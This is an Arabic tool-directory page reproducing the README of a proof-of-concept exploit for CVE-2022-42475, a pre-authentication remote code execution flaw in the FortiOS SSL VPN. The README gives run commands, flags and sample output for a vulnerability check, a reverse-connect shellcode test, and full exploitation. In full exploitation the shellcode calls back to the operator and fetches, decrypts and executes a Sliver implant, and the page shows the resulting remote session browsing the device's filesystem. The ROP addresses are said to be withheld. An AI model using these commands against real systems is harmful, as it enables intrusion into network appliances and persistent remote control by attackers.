Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-42475-POC — استغلال لـ CVE-2022-42475، وهو RCE قبل المصادقة في FortiOS SSL VPN. يدعم التحقق والتحقق الحميد والاستغلال الكامل مع shellcode للاتصال العكسي و stager ثنائي مشفر للوصول عن بُعد. | Kitploit
أدوات/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
تحليل الثغرات الأمنيةالاستغلالشيل كودأمن الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

استغلال لـ CVE-2022-42475، وهو RCE قبل المصادقة في FortiOS SSL VPN. يدعم التحقق والتحقق الحميد والاستغلال الكامل مع shellcode للاتصال العكسي و stager ثنائي مشفر للوصول عن بُعد.

عرض المستودع
2منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-42475

الخلفية

هذا هو الاستغلال لتدوينة المدونة هنا: https://bishopfox.com/blog/exploit-cve-2022-42475

الإصدار المحذوف

هذه النسخة من الاستغلال لن تعمل بدون قيامك، أيها الهاكر، بتوفير عناوين الذاكرة اللازمة لأدوات ROP، إلخ. العمل المطلوب لتحديد هذه البيانات سري ومملوك لشركة Bishop Fox ولن أتمكن (ولا يمكنني) نشره مع هذا الاستغلال. أثق بأنك تتفهم!

أنماط التشغيل

  • التحقق فقط، بدون استغلال. يحدد ما إذا كان الهدف ضعيفًا. لا يوجد حمولة، ولا شيل كود.
  • استغلال، لكن تحقق فقط. تشغيل شيل كود "ping" للاتصال العكسي للتحقق من إمكانية استغلال الهدف.
  • استغلال مع مُحمّل ثنائي للاتصال العكسي. يتصل الشيل كود بالاستغلال، ويقوم بتحميل ملف ثنائي مشفر يوفره المشغل (عادةً https://gitub.com/BishopFox/Sliver)، ويفك تشفير الملف الثنائي، ثم يستدعي execve(binary_file).

ملاحظة: حاليًا، وضع "التحقق فقط" يعمل عبر جميع الإصدارات المعروفة من FortiOS. ومع ذلك، تعمل عمليات الاستغلال فقط ضد FortiOS 6.0.4 على أجهزة 100D. لم أعد أعمل في BF وبالتالي لا يمكنني نشر الاستغلال الموسع الذي يدعم حوالي 18 ألف هدف.

المتطلبات

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

التحقق فقط

لن يقوم هذا بأي محاولة لاستغلال الثغرة، بل يقوم بتفعيلها كتعطل (يعيد تشغيل daemon SSL VPN عن بعد تلقائيًا وفوريًا). يتم اكتشاف التعطل بطريقة استرشادية وإبلاغ المشغل به.

قم بتشغيله باستخدام علامة التحقق -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] وضع التحقق فقط. لا يوجد RCE.
[>] اختبار ما إذا كان الهدف ضعيفًا (قد يستغرق 10 ثوانٍ)
[+] يبدو أن الهدف '192.168.0.10:8443' ضعيف

استغلال، لكن تحقق (هذه الميزة متاحة حاليًا فقط للإصدار FortiOS 6.0.4 على أجهزة 100D)

سيؤدي هذا إلى تفعيل الثغرة، ونشر سلسلة ROP، والانتقال إلى الشيل كود. الشيل كود غير ضار ويعمل كالتالي:

  • يتصل الاستغلال بالهدف ويقوم بتفعيل الثغرة لتنفيذ الشيل كود
  • يتصل الشيل كود مرة أخرى بعنوان IP:port الخاص بالمشغل
  • يرسل الشيل كود بايت "hello" واحد إلى الاستغلال: 0xbf
  • يقوم الاستغلال بتوصيل حمولة اختبارية صغيرة مشفرة إلى الشيل كود (مفتاح AES عشوائي في كل تشغيل)
  • يقوم الشيل كود بفك تشفير الحمولة وحفظها في /tmp/x على جهاز FortiGate
  • يرسل الشيل كود بايت 0xbf واحدًا آخر إلى الاستغلال إذا كان فك تشفير الحمولة ناجحًا
  • يقرأ الاستغلال البايت ويؤكد تنفيذ الكود.

العلامات:

root@kitploit:~
-t           الهدف host/IP
-p           منفذ الهدف
-e           وضع الاستغلال
-c           وضع الاتصال العكسي فقط
-H و -P      IP:port الخاص بالمشغل (مطلوب)
-s           إصدار البرنامج من FortiOS (مطلوب)
-m           طراز الجهاز الذي يشغل FortiOS
-d           تفعيل التصحيح

مثال حيث نختار كلاً من إصدار البرنامج 6.0.4 وطراز الجهاز 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] توليد مفتاح AES عشوائي 128 بت لتشفير الحمولة
[+] تشفير الحمولة...
[+] استخدام شيل كود مخبأ. قم بتعديل ./x.py (ابحث عن 'shellcode.s') لإجبار التحديث.
[+] تم التهيئة للاتصال العكسي إلى 192.168.0.99:443
[+] بدء مستمع الحمولة المشفرة...
[+] التحضير للاستغلال...
[+] إرسال الطلب!
[+] استيراد الأدوات من 'exploit_data.json'
[<] المستمع ملزم بالمنفذ 443، في انتظار الاتصال العكسي...
[+] التحقق من الأدوات...
[!] لم يتم تعريف نماذج أجهزة وظيفية للإصدار FortiOS '5.2.14'. تمت الإزالة.
[!] لم يتم تعريف نماذج أجهزة وظيفية للإصدار FortiOS '5.6.9'. تمت الإزالة.
[+] تم استيراد 797 هدفًا:
[-]   6.0.4     [  1 هدف ]   <=== 100D
[-]   5.2.14    [ 47 هدفًا ]
[-]   5.6.9     [ 60 هدفًا ]
[-]   6.0.13    [ 68 هدفًا ]
[-]   6.0.14    [ 67 هدفًا ]
[-]   6.0.15    [ 58 هدفًا ]
[-]   6.0.8     [ 67 هدفًا ]
[-]   6.2.11    [ 69 هدفًا ]
[-]   6.2.7     [ 75 هدفًا ]
[-]   6.4.10    [ 71 هدفًا ]
[-]   6.4.2     [ 62 هدفًا ]
[-]   6.4.3     [ 61 هدفًا ]
[-]   6.4.6     [ 73 هدفًا ]
[-]   6.4.9     [ 72 هدفًا ]
[-]   7.0.4     [ 53 هدفًا ]
[+] بدء الاستغلال
[<] طلب وارد من 192.168.0.10:22470
[<] تم استلام حزمة hello من الهدف!! رقم الطراز: 100D
[<] إرسال حمولة مشفرة بحجم 36 بايت
[<] انتهى إرسال الحمولة (36 بايت)، في انتظار الرد...
[<] تم استلام الرد المتوقع ('100D') من 192.168.0.10
[<] الهدف ضعيف بثقة 100%.
[+] انتهى كل شيء!

إذا حذفت -m لاختيار طراز الجهاز، فسيقوم الاستغلال بتجربة جميع الأهداف الخاصة بإصدار البرنامج المحدد بالقوة.

حرب نووية حرارية عالمية

  • يحدد المشغل موقع ملف ثنائي لـ Sliver (قائم على Linux)
  • يتصل الاستغلال بالهدف ويقوم بتفعيل الثغرة لتنفيذ الشيل كود
  • يتصل الشيل كود مرة أخرى بعنوان IP:port الخاص بالمشغل
  • يرسل الشيل كود بايت "hello" واحد إلى الاستغلال: 0xbf
  • يقوم الاستغلال بتشفير ملف Sliver الثنائي وإرساله إلى الشيل كود
  • يقوم الشيل كود بفك تشفير الملف الثنائي وحفظه في /tmp/x
  • يرسل الشيل كود بايت "نجاح" 0xbf إلى الاستغلال
  • يقرأ الاستغلال البايت ويؤكد تنفيذ الكود
  • يستدعي الشيل كود execve("/tmp/x")
  • ???
  • ربح!

العلامات:

root@kitploit:~
-t           الهدف host/IP
-p           منفذ الهدف
-e           وضع الاستغلال
-f filename  /path/to/binary/to/execve/on/target
-H و -P      IP:port الخاص بالمشغل للاتصال العكسي (مطلوب)
-s           إصدار البرنامج من FortiOS (مطلوب)
-m           طراز الجهاز الذي يشغل FortiOS
-d           تفعيل التصحيح

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

الاستغلال:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] سيحاول الاستغلال تنفيذ execve("implant5") على الهدف
...
[<] الهدف ضعيف بثقة 100%.
[+] انتهى كل شيء.

وفي Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

لاحظ أن Sliver يُرجع <err> لأن FortiOS هو نوعًا ما Linux إلى حد كبير، ولا يعمل دائمًا بالطريقة التي تتوقعها. هذه مشكلة مع FortiOS، وليس Sliver.

إصدارات أخرى قريبًا

لم أعد أعمل في Bishop Fox لذا ستحتاج إلى متابعة github الخاص بـ BF للحصول على تحديثات حول هذا.

تنزيل الأداة